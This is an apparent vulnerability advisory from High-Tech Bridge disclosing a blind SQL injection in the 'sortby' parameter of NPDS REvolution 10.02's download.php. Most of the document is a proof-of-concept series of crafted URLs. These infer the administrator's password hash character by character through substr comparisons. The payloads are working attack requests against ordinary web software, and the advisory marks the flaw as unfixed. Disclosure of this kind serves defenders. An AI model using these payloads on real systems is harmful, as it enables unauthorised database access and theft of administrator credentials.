NPDS REvolution Blind SQL Injection

`Vulnerability ID: HTB22364  
Reference: http://www.htbridge.ch/advisory/blind_sql_injection_vulnerability_in_NPDSREvolution.html  
Product: NPDS REvolution  
Vendor: NPDS  
Vulnerable Version: REvolution 10.02 and Probably Prior Versions  
Vendor Notification: 29 April 2010   
Vulnerability Type: Blind SQL Injection  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: High   
Credit: High-Tech Bridge SA (http://www.htbridge.ch/)   
  
Vulnerability Details:  
The vulnerability exists due to failure in the "/download.php" script to properly sanitize user-supplied input in "sortby" variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access to sensitive data, or exploit various vulnerabilities in the underlying SQL database.  
  
Attacker can use browser to exploit this vulnerability. The following PoC is available:   
  
  
http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105, 110%29+and+substr%28pwd,1,1%29=char%2848%29%29+DESC--  
http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105, 110%29+and+substr%28pwd,1,1%29=char%2849%29%29+DESC--  
...  
http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105, 110%29+and+substr%28pwd,1,1%29=char%2884%29%29+DESC--  
....  
http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105, 110%29+and+substr%28pwd,2,1%29=char%2848%29%29+DESC--  
...  
http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105, 110%29+and+substr%28pwd,2,1%29=char%28101%29%29+DESC--  
...  
...  
http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105, 110%29+and+substr%28pwd,3,1%29=char%2852%29%29+DESC--  
...  
...  
...  
  
  
`